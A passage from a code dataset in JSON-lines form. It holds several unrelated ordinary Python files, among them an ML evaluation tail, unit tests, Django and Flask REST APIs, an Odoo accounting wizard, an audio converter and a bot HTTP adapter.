{auc_val:.3f}\")\n        logger.info(f\"Class {class_id} Precision: {precision:.3f}\")\n        logger.info(f\"Class {class_id} Recall: {recall:.3f}\")\n        logger.info(f\"Class {class_id} F1: {f1:.3f}\")\n        if log_writer:\n            log_writer.add_scalar(f'test/average_precision_class_{class_id}', avg_prec_val, step)\n            log_writer.add_scalar(f'test/AUC_class_{class_id}', auc_val, step)\n            log_writer.add_scalar(f'test/precision_{class_id}', precision, step)\n            log_writer.add_scalar(f'test/recall_{class_id}', recall, step)\n            log_writer.add_scalar(f'test/f1_{class_id}', f1, step)\n        auc_vals.append(auc_val)\n        avg_prec_vals.append(avg_prec_val)\n        precisions.append(precision)\n        recalls.append(recall)\n        f1s.append(f1)\n        supports.append(support)\n        supports_pos.append(support_pos)\n    supports_neg = np.array(supports) - np.array(supports_pos)\n    report = pd.DataFrame({\n        \"class\": np.arange(nb_classes),\n        \"precision\": precisions,\n        \"recall\": recalls,\n        \"f1\": f1s,\n        \"AUC\": auc_vals,\n        \"AvgPrecision\": avg_prec_vals,\n        # \"support\": supports,\n        \"support_pos\": supports_pos,\n        \"support_neg\": supports_neg,\n    })\n    # print(report)\n    pd.set_option('display.max_columns', None)\n    pd.set_option('display.width', None)\n    logger.info(\"\\n\" + str(report))\n    mean_average_precision = np.nanmean(avg_prec_vals)\n    mean_auc = np.nanmean(auc_vals)\n    logger.info(f\"Mean Average Precision: {mean_average_precision:.3f}\")\n    logger.info(f\"Mean AUC: {mean_auc:.3f}\")\n    \n    if log_writer:\n        log_writer.add_scalar('test/mean_average_precision', mean_average_precision, step)\n        log_writer.add_scalar('test/mean_auc', mean_auc, step)\n    acc = (y_pred == y_true).mean()\n    logger.info(f\"ACC: {acc:.3f}\")\n    if log_writer:\n        log_writer.add_scalar('test/acc', acc, step)\n    if all_loss is not None and log_writer:\n        log_writer.add_scalar('test/loss', np.mean(all_loss), step)\n    return log_writer\n\nif __name__ == \"__main__\":\n    parser = bit_common.argparser(models.KNOWN_MODELS.keys())\n    parser.add_argument('--pretrain-config-file', default=\"config_example.yaml\", type=str, required=True)\n    parser.add_argument('--finetune-config-file', default=\"config_example.yaml\", type=str, required=True)\n    parser.add_argument('--seed', default=None, type=int, required=False)\n    parser.add_argument('--batch-split', default=None, type=int, required=False)\n    parser.add_argument(\"--model-path\", required=False, help=\"Path to weights\")\n    parser.add_argument(\"--no-save\", dest=\"save\", action=\"store_false\")\n    parser.add_argument(\"--train-ratio\", default=None, type=float)\n    parser.add_argument(\"--multilabel-force-classification\", default=False, action=\"store_true\")\n    parser.add_argument(\"--valid-ratio\", default=None, type=float)\n    parser.add_argument(\"--valid-seed\", default=0, type=int)\n    parser.add_argument(\"--steps\", default=None, type=int)\n    main(parser.parse_args())\n","sub_path":"finetune.py","file_name":"finetune.py","file_ext":"py","file_size_in_byte":27478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"481244892","text":"import unittest\nimport numpy as np\nfrom rendering import Cylinder\n\nclass CylinderTest(unittest.TestCase):\n\n    def test_init(self):\n\n        # Simple check that cylinders of various faces can be intialized\n        for i in range(3, 100):\n            c = Cylinder(1, 1, faces=i)\n\n            c.translate_y(1)\n\n            face_heights = np.hstack(c.get_world_faces()[:, :, 1].transpose())\n            # verify all faces have been translated up\n            np.testing.assert_array_equal(face_heights, [1 for j in range(i*2)] + [2 for j in range(i*2)])\n            np.testing.assert_array_equal(np.hstack(c.get_world_faces()[:, :, 3].transpose()), [1 for j in range(i*4)])\n\n        c = Cylinder(5, 5)\n\n        self.assertTupleEqual(c.colour, (255, 255, 255))","sub_path":"tests/cylinder_test.py","file_name":"cylinder_test.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"192254809","text":"import os\nimport json\nfrom urllib.request import urlopen\n\n#https://oauth.vk.com/authorize?client_id=5150992&redirect_uri=https://oauth.vk.com/blank.html&display=page&response_type=token&scope=audio\n\nDIR = \"\"\nACCES_TOKEN = \"\"\nVK_ID = \"\"\n\nurl = \"https://api.vk.com/method/audio.get?owner_id=\" + VK_ID + \"&access_token=\" + ACCES_TOKEN\n\nif not os.path.exists(DIR):\n    os.mkdir(DIR)\n\ndata = urlopen(url)\n\ndecoded_response = data.read().decode()\nfinal_data = json.loads(decoded_response)\n\nsongs = final_data['response'][1:]\n\ncounter = 1\n\nfor song in songs:\n    song_artist = song['artist']\n    song_title = song['title']\n    triped_song_title = song_title.strip()\n    replaced_song_title = triped_song_title.replace(\"..\", \"_\")\n    final_song_title = replaced_song_title.replace(\" \", \"_\")\n    song_url = song['url']\n    cached_song = urlopen(song_url).read()\n    try:\n        filename = DIR + \"/\" + final_song_title + \".mp3\"\n        file = open(filename, 'wb')\n    except OSError:\n        filename = DIR + \"/\" + str(counter) + \".mp3\"\n        file = open(filename, 'wb')\n        counter += 1\n    file.write(cached_song)\n    file.close\n    print(\"Song '\" + final_song_title + \"' is downloaded\")\n    \n\n\n","sub_path":"MusicApp.py","file_name":"MusicApp.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"463566424","text":"from sys import maxsize\nfrom json import dumps\nfrom flask.ext.restless import APIManager\n\nfrom models import Link, User, Keyword, Start, Classifier, db\nfrom settings import app\nfrom auth import authorize\n\ndef get_classify_date():\n    dates = db.session.query(Link.classify_date).filter(Link.classify_date!=None).distinct().all()\n    return dumps([str(d[0]) for d in dates])\n\npreprocessors = {\n    'POST': [authorize],\n    'GET_MANY': [authorize],\n    'GET_SINGLE': [authorize],\n    'PATCH_SINGLE': [authorize],\n    'PATCH_MANY': [authorize],\n    'DELETE_SINGLE': [authorize],\n    'DELETE_MANY': [authorize]\n}\n\n\nmanager = APIManager(\n    app,\n    flask_sqlalchemy_db=db,\n    preprocessors=preprocessors\n)\n\n\nmanager.create_api(\n    Start,\n    methods=['GET', 'POST', 'DELETE', 'PATCH', 'OPTION'],\n    max_results_per_page=maxsize\n)\n\nmanager.create_api(\n    Link,\n    methods=['GET', 'POST', 'PATCH', 'OPTION'],\n    allow_patch_many=True\n)\n\nmanager.create_api(\n    Keyword,\n    methods=['GET', 'POST', 'DELETE', 'PATCH', 'OPTION'],\n    max_results_per_page=maxsize\n)\n\nmanager.create_api(\n    User,\n    collection_name='user',\n    #url_prefix='/api/user',\n    methods=['GET', 'POST', 'DELETE', 'PATCH', 'OPTION']\n)\n\nmanager.create_api(\n    Classifier,\n    methods=['GET'],\n    max_results_per_page=-1,\n)\n\n","sub_path":"src/core/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"51799485","text":"import json\n\nfrom flask import Flask, jsonify, request\n\nfrom src.controllers import MemberInsertController, MemberListController\n\n\ndef create_server(config_name: str):\n    app = Flask(__name__)\n\n    config_object = f\"server.config.{config_name.capitalize()}Config\"\n\n    app.config.from_object(config_object)\n\n    @app.route(\"/api/v1\")\n    def root_api():\n        return jsonify({\"Hello\": \"World!\"})\n\n    @app.route(\"/api/v1/member\", methods = [\"GET\", \"POST\"])\n    def member_api():\n        if request.method == 'POST':\n            member_data = json.loads(request.data)\n            MemberInsertController(member_data)\n            return jsonify({'status': \"inserted\"})\n        else:\n            member_list_controller = MemberListController()\n            data_to_serialize = member_list_controller.make_data()\n\n            return jsonify(data_to_serialize)\n    return app\n","sub_path":"server/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"451812503","text":"from django.shortcuts import render,HttpResponse\nfrom django.http import JsonResponse\nfrom rest_framework import views\nfrom rest_framework import serializers\nfrom rest_framework.response import Response\nfrom app01 import models\n\ndef index(request):\n    '''查看价格与有课程效期表'''\n    DegreeCourse_obj=models.PricePolicy.objects.get(id=1).content_object\n    '''通过content_object直接找到与其关联的models对象'''\n    print('aaaaa',DegreeCourse_obj,type(DegreeCourse_obj))\n    '''反向关联查找'''\n    b = models.DegreeCourse.objects.get(id=1).degreecourse_price_policy.all()\n    print('bbbb',b)\n    '''ADD'''\n    # models.PricePolicy.objects.create(content_type_id=1,object_id=1,valid_period=60,price=6666)\n    return HttpResponse('ok!!!')\n\nclass ModelDataSerializer(serializers.ModelSerializer):\n\n    # user = serializers.CharField(max_length=32)\n\n    class Meta:\n        model = models.Course\n        fields = \"__all__\"\n        # fields = ['user', 'pwd', 'ut']\n        depth = 1\n        # extra_kwargs = {'user': {'min_length': 6}, 'pwd': {'validators': [PasswordValidator(666), ]}}\n        # read_only_fields = ['user']\n\nclass DataView(views.APIView):\n    def get(self,request):\n        # datalist = models.Course.objects.all()\n        # ser = ModelDataSerializer(instance=datalist,many=True)\n\n        ret = {\n            'code': 200,\n            'data': {\n                'Course':{\n                    'CommonCourse':[],\n                    'DegreeCourse':{\n\n                    }\n                },\n                'News':[]\n            },\n            'username': '',\n            'token': '',\n        }\n        CommonCourse_list = models.Course.objects.filter(course_type=0).all()\n        print('CommonCourse_list',CommonCourse_list)\n        for CommonCourse_obj in CommonCourse_list:\n            CommonCourse_dic={\n                'CommonCourse_name':CommonCourse_obj.name,\n                'CommonCourse_id':CommonCourse_obj.id,\n                'CommonCourse_img':CommonCourse_obj.course_img,\n                'CommonCourse_brief':CommonCourse_obj.brief,\n                'CommonCourse_level':CommonCourse_obj.level,\n                'CommonCourseDetail_hours':CommonCourse_obj.coursedetail.hours,\n                'CommonCourseDetail_slogan':CommonCourse_obj.coursedetail.course_slogan,\n                'CommonCourseDetail_video_brief_link':CommonCourse_obj.coursedetail.video_brief_link,\n                'CommonCourseDetail_Chapter':[],\n\n\n            }\n            CommonCourseDetail_Chapter_list = CommonCourse_obj.coursechapters.all().values('chapter','name','summary','pub_date')\n            print('CommonCourseDetail_Chapter_list',CommonCourseDetail_Chapter_list)\n            CommonCourse_dic['CommonCourseDetail_Chapter'].extend(CommonCourseDetail_Chapter_list)\n            ret['data']['Course']['CommonCourse'].append(CommonCourse_dic)\n\n        response = JsonResponse(ret)\n        # response = ret\n        response['Access-Control-Allow-Origin'] = \"*\"\n        # response['Access-Control-Allow-Headers'] = '*'\n        print('ttt',type(response))\n        return response\nclass CourseDtailSerializer(serializers.Serializer):\n    hours = serializers.CharField(max_length=32)\n    course_slogan = serializers.CharField(max_length=255)\n    video_brief_link = serializers.CharField(max_length=255)\n    why_study = serializers.ReadOnlyField()\n\n\n\nclass CourseDtailView(views.APIView):\n    def get(self,request,*args):\n        pk = args[0]\n        coursedetail_obj = models.Course.objects.filter(id=pk).first().coursedetail\n\n\n        ser = CourseDtailSerializer(instance=coursedetail_obj, many=False)\n        print('123',ser.data)\n        ret={\n            'code':200,\n            'data':ser.data\n        }\n        # response = JsonResponse(ret)\n        response = JsonResponse({\n            'code': 200,\n            'data': ser.data,\n            \"msg\": None\n        })\n        print(type(response))\n        response['Access-Control-Allow-Origin'] = \"*\"\n\n        return response\nclass MicroSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.DegreeCourse\n        fields = \"__all__\"\n        # fields = ['user', 'pwd', 'ut']\n        depth = 5\nclass MicroView(views.APIView):\n    def get(self,request):\n        Micro_list = models.DegreeCourse.objects.all()\n        ser = MicroSerializer(instance=Micro_list, many=True)\n        ret = {\n            'code':200,\n            'data':ser.data\n        }\n        response = JsonResponse(ret)\n        print('MM', response)\n        response['Access-Control-Allow-Origin'] = \"*\"\n        return response\nclass MicorDtailView(views.APIView):\n    def get(self,reqtest,*args):\n        pk = args[0]\n        coursedetail_obj = models.Course.objects.filter(id=pk).first().coursedetail\n\n\n        ser = CourseDtailSerializer(instance=coursedetail_obj, many=False)\n        ret = {\n            'code':200,\n            'data':ser.data\n        }\n        response = JsonResponse(ret)\n        response['Access-Control-Allow-Origin'] = \"*\"\n        return response","sub_path":"lufei01/app01/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"245838076","text":"import json\nfrom datetime import datetime\nimport time\n#import logging\n#logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')\n#logging.debug(\"Начало\")\ndef timeit(fn):\n    def wrapped(*args, **kwargs):\n        start = datetime.now()\n        result = fn(*args, **kwargs)\n        #logging.debug(\"Прошло веремни\" + str(datetime.now() - start))\n        return result\n\n    return wrapped\n\nclass to_begin():\n    def __init__(self,file,coding = False,key = \"\"):\n        self.file = file\n        self.coding = coding\n        self.key = key\n    @timeit\n    def set_state(self,name,text):\n        self.name = name\n        self.text = text\n        #logging.debug(\"set_state :\" + str(self.name))\n        #logging.debug(\"С текстом : \" + str(self.text))\n\n        content = []\n\n        try:\n            with open(self.file) as data_file:\n                content.append(json.loads(data_file.read(), encoding=\"utf-8\"))\n            count = len(content[0])\n\n        except:\n            count = 0\n\n        send = {\n            'fname': self.name,\n            'count': count,\n            'content': self.text\n        }\n\n\n        if count != 0:\n            userfind = [i for i in content[0] if i['fname'] == self.name]\n            alluser = [i for i in content[0]]\n        else:\n            userfind = []\n            alluser = []\n\n        if userfind:\n            s = {\n            'fname': self.name,\n            'count': userfind[0]['count'],\n            'content': self.text\n        }\n            alluser[userfind[0]['count']] = s\n        else:\n            alluser.append(send)\n\n        with open(self.file,'w') as f:\n            json.dump(alluser, f, indent=4, ensure_ascii=False)\n\n\n    @timeit\n    def get_state(self,name):\n        self.name = name\n        #logging.debug(\"get_state : \" + str(self.name))\n        try:\n            with open(self.file) as data_file:\n                q = [i for i in json.loads(data_file.read()) if i['fname'] == self.name]\n            if q:\n                #logging.debug(\"Сушествующие значение для : \" + str(self.name) + \" >> : \" + str(q[0]['content']))\n                return q[0]['content']\n            else:\n                return None\n        except:\n            print('Не удалось открыть файл ', self.file)\n\n\n\n","sub_path":"ini/ini.py","file_name":"ini.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"469891867","text":"# -*- coding: utf-8 -*-\nfrom odoo import models, fields, api, tools\nfrom odoo.tools.translate import _\nfrom odoo.exceptions import UserError\n\nclass OdPeriodClosingWizard(models.TransientModel):\n\t_name = 'od.period.closing.wizard'\n\t_description = \"Period Closing Wizard\"\n\n\tdate = fields.Date(string='Date', required=True)\n\tjournal_id = fields.Many2one('account.journal', string='Journal', required=True)\n\taccount_id = fields.Many2one('account.account', string='Account', required=True)\n\tline_id = fields.One2many('od.period.closing.line.wizard','wiz_id',string=\"Line Id\")\n\tcheck_line_id = fields.Boolean(string='Check Line Id')\n\n\n\tdef show_balance(self):\n\t\tif self.line_id:\n\t\t\tself.env['od.period.closing.line.wizard'].search([('wiz_id','=',self.id)]).unlink()\n\t\tcr=self.env.cr\n\t\tqry=('''SELECT account_code,account_id,balance  from od_period_closing_analysis ''')\n\t\tcr.execute(qry)\n\t\tresult=cr.fetchall()\n\t\tfor res in result:\n\t\t\tvals = {\n\t\t\t\t\t'account_code':res[0],\n\t\t\t\t\t'account_id':res[1],\n\t\t\t\t\t'balance':res[2],\n\t\t\t\t\t'wiz_id':self.id,\n\t\t\t\t\t}\n\t\t\tself.env['od.period.closing.line.wizard'].create(vals)\n\t\tself.check_line_id=True\n\t\treturn {\n\t\t\t  'view_type': 'form',\n\t\t\t  \"view_mode\": 'form',\n\t\t\t  'res_model': 'od.period.closing.wizard',\n\t\t\t  'res_id': self.id,\n\t\t\t  'type': 'ir.actions.act_window',\n\t\t\t  'target': 'new'\n\t\t\t  }\n\t\n\tdef generate_entries(self):\n\t\tif not self.line_id:\n\t\t\traise UserError(_('No Entry To Generate!!')) \n\t\tclosing_report = self.env['od.period.closing.analysis'].search([])\n\t\tcount=1\n\t\tmove_pool = self.env['account.move']\n\t\tmove_line = []\n\t\ttotal_debit = 0.0\n\t\ttotal_credit = 0.0\n\t\t\n\t\tfor report in closing_report:\n\t\t\tcredit = 0.0\n\t\t\tdebit = 0.0\n\t\t\taccount_id = report.account_id and report.account_id.id\n\t\t\tif report.balance >= 0:\n\t\t\t\tcredit = round(report.balance,2)\n\t\t\telse:\n\t\t\t\tdebit = -(round(report.balance,2))\n\t\t\t\n\t\t\tline = (0,0,{'account_id':account_id,'credit':credit,'debit':debit, 'name':'YearClosing'})  \n\t\t\tmove_line.append(line)\n\t\t\ttotal_credit = round((total_credit+credit),2)\n\t\t\ttotal_debit = round((total_debit+debit),2)\n\t\t\tcount = count+1\n\t\t\n\t\tdebit_value=0.0\n\t\tcredit_value=0.0\n\t\tif total_debit > total_credit:\n\t\t\tcredit_value = round((total_debit-total_credit),2)\n\t\telse:\n\t\t\tdebit_value = round((total_credit-total_debit),2)\n\t\t\n\t\tline_last=(0,0,{'account_id':self.account_id.id,'credit':credit_value ,'debit':debit_value, 'name':'YearClosing'})  \n\t\tmove_line.append(line_last)\n\t\tmove_vals = {'journal_id':self.journal_id.id,'date':self.date,'ref': 'YearClosing'} \t\t\n\t\tmove_vals['line_ids'] = move_line\n\t\tmove = move_pool.create(move_vals)\n\n\nclass OrchidPeriodClosingReport(models.Model):\n\t_name = 'od.period.closing.analysis'\n\t_description = \"Period Closing Report\"\n\t_auto = False\n\n\taccount_code = fields.Char(string='Account Code')\n\taccount_id = fields.Many2one('account.account', string='Account')\n\tbalance = fields.Float(string='Balance')\n\n\n\tdef init(self):\n\t\tcr = self.env.cr   \n\t\ttools.drop_view_if_exists(cr, 'od_period_closing_analysis')\n\t\tcr.execute(\"\"\"\n\t\t\n\t\t\t\t\tCREATE or replace view od_period_closing_analysis as \n\t\t\t\t\t(\n\t\t\t\t\t\tSELECT \n\t\t\t\t\t\t\tmve.account_id as id,\n\t\t\t\t\t\t\tacc.code as account_code,\n\t\t\t\t\t\t\tSUM (mve.debit-mve.credit) AS balance,\n\t\t\t\t\t\t\tmve.account_id as account_id\n\t\t\t\t\t\tFROM account_move_line mve\n\t\t\t\t\t\tLEFT JOIN account_account acc ON mve.account_id = acc.id\n\t\t\t\t\t\tLEFT JOIN account_account_type actp ON acc.user_type_id = actp.id \n\t\t\t\t\t\tWHERE \n\t\t\t\t\t\t\tactp.include_initial_balance is FALSE \n\t\t\t\t\t\tGROUP BY mve.account_id,acc.code\n\t\t\t\t\t)\n\t\t\t\t\"\"\")\nclass OdPeriodClosingLineWizard(models.TransientModel):\n\t_name = 'od.period.closing.line.wizard'\n\t_description = \"Period Closing Line Wizard\"\n\n\twiz_id = fields.Many2one('od.period.closing.wizard',string=\"Wizard Id\")\n\taccount_code = fields.Char(string='Account Code')\n\taccount_id = fields.Many2one('account.account', string='Account')\n\tbalance = fields.Float(string='Balance')\n\n\n\n","sub_path":"ag_year_closing_v13/wizard/od_period_closing.py","file_name":"od_period_closing.py","file_ext":"py","file_size_in_byte":3898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"510200717","text":"# -*- coding: UTF-8 -*-\n\n\"\"\"\nCopyright 2019 SwiftStack\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport unittest\nimport mock\nfrom s3_sync.stats import StatsReporterFactory\n\n\nclass TestStatsReporter(unittest.TestCase):\n\n    @mock.patch('s3_sync.stats.pystatsd.statsd.Client')\n    def setUp(self, statsd_client_mock):\n        self.factory = StatsReporterFactory(\"host\", 8125, \"prefix\")\n\n    def test_statsd_client(self):\n        instance = self.factory.instance('metric_prefix')\n\n        instance.increment('metric', 1)\n        self.factory.statsd_client.update_stats.assert_called_once_with(\n            'metric_prefix.metric', 1)\n\n        instance.timing('timing_metric', 100)\n        self.factory.statsd_client.timing.assert_called_once_with(\n            'metric_prefix.timing_metric', 100)\n","sub_path":"test/unit/test_stats.py","file_name":"test_stats.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"181215186","text":"\"\"\"Abstract base classes for GaussianFamily statistics.\n\n\"\"\"\n\nfrom __future__ import annotations\nfrom typing import Optional, Sequence, final\nfrom abc import abstractmethod\nimport sacc\n\nimport pyccl\nimport pyccl.nl_pt\n\nfrom .....modeling_tools import ModelingTools\nfrom .....parameters import ParamsMap\nfrom .....updatable import Updatable\n\n\nclass SourceSystematic(Updatable):\n    \"\"\"An abstract systematic class (e.g., shear biases, photo-z shifts, etc.).\n\n    This class currently has no methods at all, because the argument types for\n    the `apply` method of different subclasses are different.\"\"\"\n\n    def read(self, sacc_data: sacc.Sacc):\n        \"\"\"This method is called to allow the systematic object to read from the\n        appropriated sacc data.\"\"\"\n\n\nclass Source(Updatable):\n    \"\"\"An abstract source class (e.g., a sample of lenses).\n\n    Parameters\n    ----------\n    systematics : list of str, optional\n        A list of the source-level systematics to apply to the source. The\n        default of `None` implies no systematics.\n    \"\"\"\n\n    systematics: Sequence[SourceSystematic]\n    cosmo_hash: Optional[int]\n    tracers: Sequence[Tracer]\n\n    @final\n    def read(self, sacc_data: sacc.Sacc):\n        \"\"\"Read the data for this source from the SACC file.\"\"\"\n        if hasattr(self, \"systematics\"):\n            for systematic in self.systematics:\n                systematic.read(sacc_data)\n        self._read(sacc_data)\n\n    @abstractmethod\n    def _read(self, sacc_data: sacc.Sacc):\n        \"\"\"Abstract method to read the data for this source from the SACC file.\"\"\"\n\n    def _update_source(self, params: ParamsMap):\n        \"\"\"Method to update the source from the given ParamsMap. Any subclass\n        that needs to do more than update its contained :python:`Updatable`\n        objects should implement this method.\"\"\"\n\n    @abstractmethod\n    def _reset_source(self):\n        \"\"\"Abstract method to reset the source.\"\"\"\n\n    @final\n    def _update(self, params: ParamsMap):\n        \"\"\"Implementation of Updatable interface method `_update`.\n\n        This clears the current hash and tracer, and calls the abstract method\n        `_update_source`, which must be implemented in all subclasses.\"\"\"\n        self.cosmo_hash = None\n        self.tracers = []\n        self._update_source(params)\n\n    @final\n    def _reset(self) -> None:\n        \"\"\"Implementation of the Updatable interface method `_reset`.\n\n        This calls the abstract method `_reset_source`, which must be implemented by\n        all subclasses.\"\"\"\n        self._reset_source()\n\n    @abstractmethod\n    def get_scale(self) -> float:\n        \"\"\"Abstract method to return the scales for this `Source`.\"\"\"\n\n    @abstractmethod\n    def create_tracers(self, tools: ModelingTools):\n        \"\"\"Abstract method to create tracers for this `Source`, for the given\n        cosmology.\"\"\"\n\n    @final\n    def get_tracers(self, tools: ModelingTools) -> Sequence[Tracer]:\n        \"\"\"Return the tracer for the given cosmology.\n\n        This method caches its result, so if called a second time with the same\n        cosmology, no calculation needs to be done.\"\"\"\n\n        ccl_cosmo = tools.get_ccl_cosmology()\n\n        cur_hash = hash(ccl_cosmo)\n        if hasattr(self, \"cosmo_hash\") and self.cosmo_hash == cur_hash:\n            return self.tracers\n\n        self.tracers, _ = self.create_tracers(tools)\n        self.cosmo_hash = cur_hash\n        return self.tracers\n\n\nclass Tracer:\n    \"\"\"Bundles together a pyccl.Tracer object with optional information about the\n    underlying 3D field, a pyccl.nl_pt.PTTracer, and halo profiles.\"\"\"\n\n    @staticmethod\n    def determine_field_name(field: Optional[str], tracer: Optional[str]) -> str:\n        \"\"\"This function encapsulates the policy for determining the value to be\n        assigned to the :python:`field` member variable of a :python:`Tracer`.\n\n        It is a static method only to keep it grouped with the class for which it is\n        defining the initialization policy.\n        \"\"\"\n        if field is not None:\n            return field\n        if tracer is not None:\n            return tracer\n        return \"delta_matter\"\n\n    def __init__(\n        self,\n        tracer: pyccl.Tracer,\n        tracer_name: Optional[str] = None,\n        field: Optional[str] = None,\n        pt_tracer: Optional[pyccl.nl_pt.PTTracer] = None,\n        halo_profile: Optional[pyccl.halos.HaloProfile] = None,\n        halo_2pt: Optional[pyccl.halos.Profile2pt] = None,\n    ):\n        \"\"\"Initialize a new Tracer based on the given pyccl.Tracer which must not be\n        None.\n\n        Note that the :python:`pyccl.Tracer` is not copied; we store a reference to the\n        original tracer. Be careful not to accidentally share :python:`pyccl.Tracer`s.\n\n        If no tracer_name is supplied, then the tracer_name is set to the name of the\n        :python:`pyccl.Tracer` class that was used.\n\n        If no field is given, then field is set to either (1) the tracer_name, if one\n        was given,, or (2) 'delta_matter'.\n        \"\"\"\n        assert tracer is not None\n        self.ccl_tracer = tracer\n        self.tracer_name: str = tracer_name or tracer.__class__.__name__\n        self.field = Tracer.determine_field_name(field, tracer_name)\n        self.pt_tracer = pt_tracer\n        self.halo_profile = halo_profile\n        self.halo_2pt = halo_2pt\n\n    @property\n    def has_pt(self) -> bool:\n        \"\"\"Return True if we have a pt_tracer, and False if not.\"\"\"\n        return self.pt_tracer is not None\n\n    @property\n    def has_hm(self) -> bool:\n        \"\"\"Return True if we have a halo_profile, and False if not.\"\"\"\n        return self.halo_profile is not None\n","sub_path":"firecrown/likelihood/gauss_family/statistic/source/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":5668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"49577929","text":"# convert_audio_to_flac.py\n# Loads the file and exports as FLAC\n# Maybe even more importantly, it sets it to mono channel and a fixed bitrates\n#\n# mitchellpkt@protonmail.com\n# github.com/mitchellpkt/operatoraware\n#\n##########\n# INPUTS:\n#\n# >> str_audio_filename - a string pointing to the file to be read\n#\n\n###########\n# OUTPUTS:\n# >> new_filename - path to the preprocessed file\n\n###########\n# CHANGELOG:\n#\n\n########\n# TO DO:\n# >> expand to formats beyond FLAC\n\n#############\n# EXAMPLE:\n#\n\ndef convert_audio_to_flac(str_audio_filename):\n    # !pip install pydub\n    # !sudo apt-get install ffmpeg\n\n    from pydub import AudioSegment\n    import re\n    import os\n\n    str_extension = str_audio_filename[-3:]\n\n    print('Converting from ' + str_extension)\n\n    # Read in the audio\n    audio_data = AudioSegment.from_file(str_audio_filename)\n\n    # Generate path for output file\n    if str_extension == 'LAC':\n        new_filename = str_audio_filename[0:-4] + 'flac' # Make sure extension is lower case\n        os.rename(str_audio_filename, str_audio_filename+'.orig') # move the old file to avoid name conflict\n    else:\n        new_filename = re.sub('(?i)' + re.escape('.'+str_extension), lambda m: '.flac', str_audio_filename)\n\n    audio_data.export(new_filename, format=\"flac\")\n\n    return new_filename","sub_path":"operator_aware_lib/convert_audio_to_flac.py","file_name":"convert_audio_to_flac.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"189476886","text":"from __future__ import absolute_import\n\nimport irc\nimport logging\nimport thebot\nimport threading\n\nfrom wsgiref.simple_server import make_server, WSGIRequestHandler\n\n\nclass HttpRequest(thebot.Request):\n    def __init__(self, environ, start_response):\n        super(HttpRequest, self).__init__(environ['PATH_INFO'])\n        self.environ = environ\n        self.start_response = start_response\n        self.response_sent = False\n\n    def respond(self, message):\n        if self.response_sent:\n            raise RuntimeError('Response to this HTTP request already sent.')\n\n        status = '200 OK'\n        headers = [\n            ('Server', 'TheBot/' + thebot.__version__),\n            ('Content-type', 'text/plain; charset=utf-8'),\n        ]\n\n        write = self.start_response(status, headers)\n        write(message)\n        self.response_sent = True\n\n\nclass IRCConnection(irc.IRCConnection):\n    def get_logger(self, logger_name, filename):\n        \"\"\"We override this method because don't want to have a separate log for irc messages.\n        \"\"\"\n        return logging.getLogger(logger_name)\n\n\nclass Adapter(thebot.Adapter):\n    @staticmethod\n    def get_options(parser):\n        group = parser.add_argument_group('IRC options')\n        group.add_argument(\n            '--http-host', default='127.0.0.1',\n            help='IP to bind to. Default: 127.0.0.1.'\n        )\n        group.add_argument(\n            '--http-port', default=8888,\n            help='TCP port to bind to. Default: 8888.'\n        )\n\n\n    def start(self):\n        class QuietHandler(WSGIRequestHandler):\n            def __init__(self, *args, **kwargs):\n                self.logger = logging.getLogger('thebot.batteries.http')\n                WSGIRequestHandler.__init__(self, *args, **kwargs)\n\n            def log_message(self, format, *args):\n                self.logger.info(\n                    '%s - - [%s] %s',\n                    self.address_string(),\n                    self.log_date_time_string(),\n                    format % args\n                )\n\n        server = make_server(\n            self.bot.config.http_host,\n            int(self.bot.config.http_port),\n            self._wsgi_handler,\n            handler_class=QuietHandler,\n        )\n\n        thread = threading.Thread(target=server.serve_forever)\n        thread.daemon = True\n        thread.start()\n\n    def _wsgi_handler(self, environ, start_response):\n        request = HttpRequest(environ, start_response)\n        self.callback(request)\n        if not request.response_sent:\n            request.respond('')\n        return []\n\n","sub_path":"thebot/batteries/http.py","file_name":"http.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
